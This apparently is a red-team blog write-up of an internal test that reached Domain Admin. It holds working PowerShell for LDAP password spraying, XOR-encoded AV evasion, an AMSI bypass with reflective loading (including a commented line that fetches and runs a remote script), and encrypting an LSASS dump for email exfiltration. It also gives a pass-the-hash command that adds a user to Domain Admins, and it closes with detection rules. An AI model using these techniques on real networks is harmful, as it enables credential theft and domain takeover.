Introduction

For some time now, Mor and I have considered starting a blog series to discuss the many ways we achieve Domain Admin privileges on engagements. This is the first in that series, titled “The Path to DA” (very basic, but it gets the message across).

The main purpose of this blog series is to share our stories, some techniques, and our general way of thinking when we are on engagements. Hopefully this content will be engaging and interesting and allow you to learn some things along the way.

At the start of my career, I thoroughly enjoyed reading these types of blogs. They made me excited and passionate about the field and made me aware of what’s possible. When you can demonstrate how a technique is actually used in the context of a real-life engagement, instead of just as part of a technical blog post showcasing the technique, it becomes more intuitive and easier to understand. At least it certainly did for me!

So, before getting started, let me just state the obvious: The information from our clients is classified, meaning we will not be sharing any info or data from our engagements. All the screenshots and technical data you will see in this blog series will be reconstructed for demonstration purposes to avoid sharing actual client data. However, the bottom line is that the stories and techniques are very real and very applicable.

One last thing I want to mention is that our goal is to have something applicable for everyone in these posts, regardless of their technical level or career stage. To accomplish this, each blog post in the series will have a different level of complexity and technical difficulty. We will also provide resources to help those who are just getting started, as well as more advanced content for experienced professionals. Our goal is to ensure everyone can learn something new and useful in this series that will make them better in their work.

So, without further ado, let’s dive into the first post of this series!

SysAdmins Love Generic Passwords

First things first, here's some context about this project:

  • The goal: Gain Domain Admin privileges and document any findings along the way.
  • Starting Point: Gray Box PT starting from a client computer with a low privilege domain user “ShlomiPT” with the password “Aa111111” (Remember that password, we will come back to this very soon)
  • Type of Assessment: Non stealth

TLDR:

  • My starting machine did not have any Internet access, but Outlook is installed even though my domain user does not have a mailbox.
  • I created a simple PowerShell script to perform Password Spraying in the domain. Using this, I managed to guess about 20 sets of credentials. With some users’ credentials, I was able to log in to Outlook and found that I can send and receive emails outside the organization – this will be my way to infiltrate tools and exfiltrate data.
  • Infiltrating tools was done by encoding the tools using certutil.exe (encode the binary to base64), then sending the encoded data via email and decoding it once inside the organization’s machine. This was done to bypass the organization’s Mail Protection.
  • I used the PowerShell reflection technique along with AMSI bypass to successfully run SharpHound while evading McAfee Anti-Virus, which was installed on my starting machine. Analyzing the SharpHound data,  I found that one of the users for which I had guessed the password has local admin access on a jump server. This allowed me to connect to the Jump Server and create a dump of the Lsass.exe process using TaskManager.exe, as there was no EDR installed on the server.
  • I encrypted the dump file and exfiltrated it via email. I analyzed the dump file using Mimikatz and, low and behold, I found a NTLM hash for a Domain Admin user.
  • Finally, I used Invoke-TheHash to add myself to the Domain Admins group.

Where Do I Start?

The first thing I did after logging in to the computer is open the “Programs and Features” window (Ctrl+R > appwiz.cpl). This allows me to see what I’m up against in terms of the local machine. In this particular case, I found that LAPS is installed, and the client has McAfee Anti-Virus in place.

Next, I check whether there is Internet access, which would allow me to bring in my tools. I opened Google Chrome and saw there was no internet connection, unfortunately. I also checked whether USB is allowed (since I have physical access to the machine), but that was also blocked by some policy.

Even though I’m striking out so far, there are plenty of other options. Next, I move on to searching the computer for any relevant information such as apps, files, etc. I found that Outlook was installed, so I tried to sign in with my domain user. However, I found that I didn’t have a mailbox set up.

Insight: When you do internal PT on a client’s computer, keep in mind that some clients may try to make it difficult for you. So, your main goal is to find a way to jump to other boxes in the domain – you will find an entirely different world there. 

However, just because my user doesn’t have a mailbox, that doesn’t mean that other users don’t have one, right? So, I launched the CMD and ran commands such as “net group "domain users" /dom", and "net group "domain admins" /dom”. Using the information from the domain users query, I created a list of all the users in that domain.

Image reconstructed in our lab (not the real environment)

Using my “awesome” PowerShell skills, I created a few lines of code that will password spray all users with the password Aa111111 (I told you we would come back to this!).

PowerShell
$password = "Aa111111"; 
cat .\users.txt | % { $q = New-Object System.DirectoryServices.DirectoryEntry("LDAP://SEVENKINGDOMS.LOCAL","$_","$password"); if ($q.name -ne $null){Write-Host -ForegroundColor Green "[*] GOTCHA! User:$_ Password:$password"} }

I ran the password spray against the domain controller (LDAP) and, to my delight, this served as the password for more than 20 users.

Image reconstructed in our lab (not the real environment)
Insight: Some SysAdmins love their generic password. If your initial user has a generic password, try using that password in a password spray attack. It is highly probable that if they set that password for your user, they did so for other users as well.

Now that we’re in, let’s get to work.

Mapping Our Environment

Even though when connecting to this computer with one of the users, we still did not have Internet access, I tried to send an email to one of my email accounts outside the organization to see if the on-prem exchange server has Internet access. Thankfully, it did!

Insight: In environments with Internet restrictions, one of first items you should check is email. In many cases, the client will block outgoing connections to the internet from users’ endpoints but allow the on-prem exchange server itself to connect (Users should have working emails, right?).

Now that I have a way of communicating with the Internet, let’s bring in our tools.

The company likely has a mail relay to check all incoming files, so I decided to base64 encode the file on my own computer (certutil.exe -encode <file to encode> <output>) and decode on the client’s computer (certutil.exe -decode <file to decode> <output>). This worked like magic. While doing this, the only thing I had to worry about was ensuring the files would bypass the Anti-Virus.

Next, we need to map the domain (with bloodhound) to understand what our 20 users can do and find any misconfiguration. The plan was to run sharphound.exe with the method -c All (Because why not?). Let’s wake up the analysts in the SoC and bring enough coffee for the whole team, otherwise this could get really messy.

When working with .NET executables, we have the option to load them into PowerShell using Assembly Reflection, combine that with AMSI patching (and ETW patching if needed) and you’ve got a straightforward approach to load any .NET executable in-memory without any fuss from the AV.

To give you a better understanding, let’s go over this process step-by-step.

First, we need to encrypt the .NET executable binary. We do this so that when it touches the disk on the target machine, the AV won’t yell at us. A simple multi-byte XOR encryption would suffice in this case:

PowerShell
$byteArray = [IO.File]::ReadAllBytes("$pwd\\SharpHound.exe")
$KeyArray = @(52, 86, 66, 23, 61)
$keyposition = 0
for ($i = 0; $i -lt $byteArray.count; $i++)
{
	$byteArray[$i] = $byteArray[$i] -bxor $KeyArray[$keyposition];
	$keyposition += 1;
	if ($keyposition -eq $keyArray.Length) { 
		$keyposition = 0 ;
        }
}
[IO.File]::WriteAllBytes("$pwd\\SharpHound.exe.xored", $byteArray)

After copying the XOR encrypted SharpHound to the target machine (email+certutil), I opened PowerShell and performed a simple AMSI bypass using the memory patching technique we previously discussed. I then read all the XOR encrypted bytes into a byte array and performed another XOR routine to decrypt the contents of the SharpShound executable.

Finally, I used assembly reflection to load the SharpHound bytes into PowerShell memory. This means I can now use SharpHound from within my PowerShell process, thus triggering the AV.

PowerShell
# iex (new-object net.webclient).DownloadString("https://raw.githubusercontent.com/ShorSec/AMS-BP/master/AMSBP.ps1")
. ./AMSBP.ps1
amsbp;
$byteArray = [IO.File]::ReadAllBytes("$pwd\\SharpHound.exe.xored");
$KeyArray = @(52, 86, 66, 23, 61);
$keyposition = 0;
for ($i = 0; $i -lt $byteArray.count; $i++)
{
	$byteArray[$i] = $byteArray[$i] -bxor $KeyArray[$keyposition];
	$keyposition += 1;
	if ($keyposition -eq $keyArray.Length) { 
		$keyposition = 0 ;
        }
}
[Reflection.Assembly]::Load([byte[]]$byteArray)
[SharpHound.Program]::Main("-h".split(' '))
[SharpHound.Program]::Main("-c All --OutputDirectory C:\Users\ShlomiPT\Desktop\".split(' '))

Image reconstructed in our lab (not the real environment)

Once back from a quick coffee break, I could see that the amazing SharpHound finished its job. This meant it was time to send all the info to my computer. While analyzing the information, I found that one of the obtained users had a local admin server on a server called “JumpSer” … I couldn’t have asked for anything better!

Insight: Jump servers should be considered high-value targets since they usually contain lots of sessions of different users, sometimes even including highly privileged users.

Having discovered that no EDR was installed on the jump server and only AV was installed, I immediately opened TaskManager and selected the Lsass.exe process. I then right clicked to create a dump. Once that was complete, I transferred a Powershell script to encrypt the dump, thus allowing me to safely exfiltrate it via email.

Insight: You should always be careful with client data. Transferring sensitive data unencrypted should NEVER be part of your processes. 

Here is the PowerShell script I used for this (Now I could've used a simple ZIP compression with encryption, but then I wouldn’t be able to show you my "amazing" PowerShell skills. LOL):

PowerShell
function Encrypt-AES {
    param($src_file,$key);

    # Hash the key string to get a 32 chars hex string and convert it to a key for the AES encryption
    $hasher = [System.Security.Cryptography.HashAlgorithm]::Create('md5');
    $key_hex = [System.BitConverter]::ToString($hasher.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($key))).Replace('-', '');
    $key = [byte[]] -split ($key_hex -replace '..', '0x$& ');
    
    # Make sure the source file exists and desingate a destination file with "_enc" extension to its name
    $src_file = (ls $src_file)[0];
    $dst_file = $src_file.Directory.FullName + "\" + $src_file.BaseName + "_enc" + $src_file.Extension;

    # Initialize the AES Managed Object with the key, blocksize, and mode
    [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
    [System.Int32]$KeySize = $key.Length * 8;
    $AESOBJECT = New-Object 'System.Security.Cryptography.AesManaged';
    $AESOBJECT.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $AESOBJECT.BlockSize = 128;
    $AESOBJECT.KeySize = $KeySize;
    $AESOBJECT.Key = $key;

    # Create file stream for the source and destination files
    $FileStreamRead = New-Object System.IO.FileStream ($src_file, [System.IO.FileMode]::Open);
    $FileStreamWrite = New-Object System.IO.FileStream ($dst_file, [System.IO.FileMode]::Create);

    # Write the IV to the destination file
    $AESOBJECT.GenerateIV();
    $FileStreamWrite.Write([System.BitConverter]::GetBytes($AESOBJECT.IV.Length), 0, 4);
    $FileStreamWrite.Write($AESOBJECT.IV, 0,$AESOBJECT.IV.Length);
    
    # Initialize the Encryptor from the AES Managed Object
    $Encryptor = $AESOBJECT.CreateEncryptor();

    # Loop through the source file data, encrypt it and write it to the destination file
    $CryptographyStream = New-Object System.Security.Cryptography.CryptoStream ($FileStreamWrite, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write);
    [int]$Count = 0;
    [int]$BlockSzBts = $AESOBJECT.BlockSize / 8;
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
    $Count = $FileStreamRead.Read($Data, 0, $BlockSzBts);
    while ($Count -gt 0) {
        $CryptographyStream.Write($Data, 0, $Count);
        $Count = $FileStreamRead.Read($Data, 0, $BlockSzBts);
    }

    # cleanup after ourselves
    $CryptographyStream.FlushFinalBlock();
    $CryptographyStream.Close();
    $FileStreamRead.Close();
    $FileStreamWrite.Close();

}


function Decrypt-AES {
    param($src_file,$key);

    # Hash the key string to get a 32 chars hex string and convert it to a key for the AES decryption
    $hasher = [System.Security.Cryptography.HashAlgorithm]::Create('md5');
    $key_hex = [System.BitConverter]::ToString($hasher.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($key))).Replace('-','');
    $key = [byte[]] -split ($key_hex -replace '..', '0x$& ');

    # Make sure the source file exists and desingate a destination file with "_enc" extension to its name
    $src_file = (ls $src_file)[0];
    $dst_file = $src_file.Directory.FullName + "\" + $src_file.BaseName + "_dec" + $src_file.Extension;

    # Initialize the AES Managed Object with the key, blocksize, and mode
    [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
    [System.Int32]$KeySize = $key.Length * 8;
    $AESOBJECT = New-Object 'System.Security.Cryptography.AesManaged';
    $AESOBJECT.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $AESOBJECT.BlockSize = 128;
    $AESOBJECT.KeySize = $KeySize;
    $AESOBJECT.Key = $key;

    # Create file stream for the source and destination files
    $FileStreamRead = New-Object System.IO.FileStream ($src_file, [System.IO.FileMode]::Open);
    $FileStreamWrite = New-Object System.IO.FileStream ($dst_file, [System.IO.FileMode]::Create);

    # Read the IV from the source file and create the decryptor
    [Byte[]]$LenIV = New-Object Byte[] 4;
    $FileStreamRead.Seek(0,[System.IO.SeekOrigin]::Begin) | Out-Null;
    $FileStreamRead.Read($LenIV, 0, 3) | Out-Null;
    [int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);
    [Byte[]]$IV = New-Object Byte[] $LIV;
    $FileStreamRead.Seek(4,[System.IO.SeekOrigin]::Begin) | Out-Null;
    $FileStreamRead.Read($IV, 0, $LIV) | Out-Null;
    $AESOBJECT.IV = $IV;
    $Decryptor = $AESOBJECT.CreateDecryptor()

    # Loop through the source file data, decrypt it and write it to the destination file
    $CryptographyStream = New-Object System.Security.Cryptography.CryptoStream ($FileStreamWrite, $Decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write);
    [int]$Count = 0;
    [int]$BlockSzBts = $AESOBJECT.BlockSize / 8;
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
    $Count = $FileStreamRead.Read($Data, 0, $BlockSzBts);
    while ($Count -gt 0) {
        $CryptographyStream.Write($Data, 0, $Count);
        $Count = $FileStreamRead.Read($Data, 0, $BlockSzBts);
    }

    # cleanup after ourselves
    $CryptographyStream.FlushFinalBlock();
    $CryptographyStream.Close();
    $FileStreamRead.Close();
    $FileStreamWrite.Close();

}

While opening the dump file with Mimkatz, I noticed many hashes (but no clear text passwords) including a hash for one of the Domain Admins.

Invoke-TheHash FTW! We encode on one side and decode on the other, execute an AMSI bypass in PowerShell (to make the AV happy), and we have our Invoke-TheHash in the network.

Simply run the following command and target achieved!

PowerShell
Invoke-TheHash -type smbexec -hash <hash here> -username <user here> -domain <domain here> -command net group Domain Admins ShlomiPT /add

Detections Time

Encode & Decode files with CertUtil.exe

MITRE ATT&CK ID: T1140
Reference URL: https://attack.mitre.org/techniques/T1140/

  • Monitor for the use of CertUtil.exe, particularly if you’re seeing it used with decode/decodeHex/encode
  • Elastic Rule Query: process where event.type “start” and (process.name : “certutil.exe” or process.pe.original_file_name “CertUtil.exe”) and process.args : (“?decode”, “?encode”, “?urlcache”, “?verifyctl”, “?encodehex”, “?decodehex”, “?exportPFX”)

Password Spray with PowerShell against LDAP
MITRE ATT&CK ID: T1110
Reference URL: https://attack.mitre.org/techniques/T1110/003/

  • Monitor for Event ID 4625 for failed login and search for the following details:
    • Account Name
    • Keywords: Audit Failure
  • Monitor for Event ID 4624 for success login and search for the following details:
    • Account Name
    • Keywords: Audit Success

SharpHound.exe
MITRE ATT&CK ID: T1087.001, T1087.002, T1087.003, T1087.004, T1482, T1201, T1069.001, T1069.002, T1069.003, T1082, T1033

We don’t need to take the time here to discuss all of the detections for bloodhound, but here are a few:

Credential Dumping via Windows Task Manager
MITRE ATT&CK ID: T1003
Reference URL: https://attack.mitre.org/techniques/T1003/001/

  • Monitor for the creation of a temp file with the name lsass.dmp
  • System Query: index=__your_sysmon_index__ EventCode=11 TargetFilename="*lsass*.dmp" Image="C:\\Windows\\*\\taskmgr.exe"

PassTheHash using Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
MITRE ATT&CK ID: T1550.002
Reference URL: https://attack.mitre.org/techniques/T1550/002/

  • Monitor for Event ID 4624 with logon type 3 and Authentication Package – NTLM
  • Monitor for Event ID 7045 for service creation on the remote machine

Adding user to Domain Admins group with net.exe
https://learn.microsoft.com/en-us/windows/win32/winsock/net-exe-2
File Path: C:\windows\system32\net.exe
MITRE ATT&CK ID: S0039
Reference URL: https://attack.mitre.org/software/S0039/

  • Monitor for the use of net.exe particularly if you’re seeing it used with group/user/add/del/dom/domain/password/localgroup
  • Monitor for Event ID 4728 “a member was added to a security-enabled global group”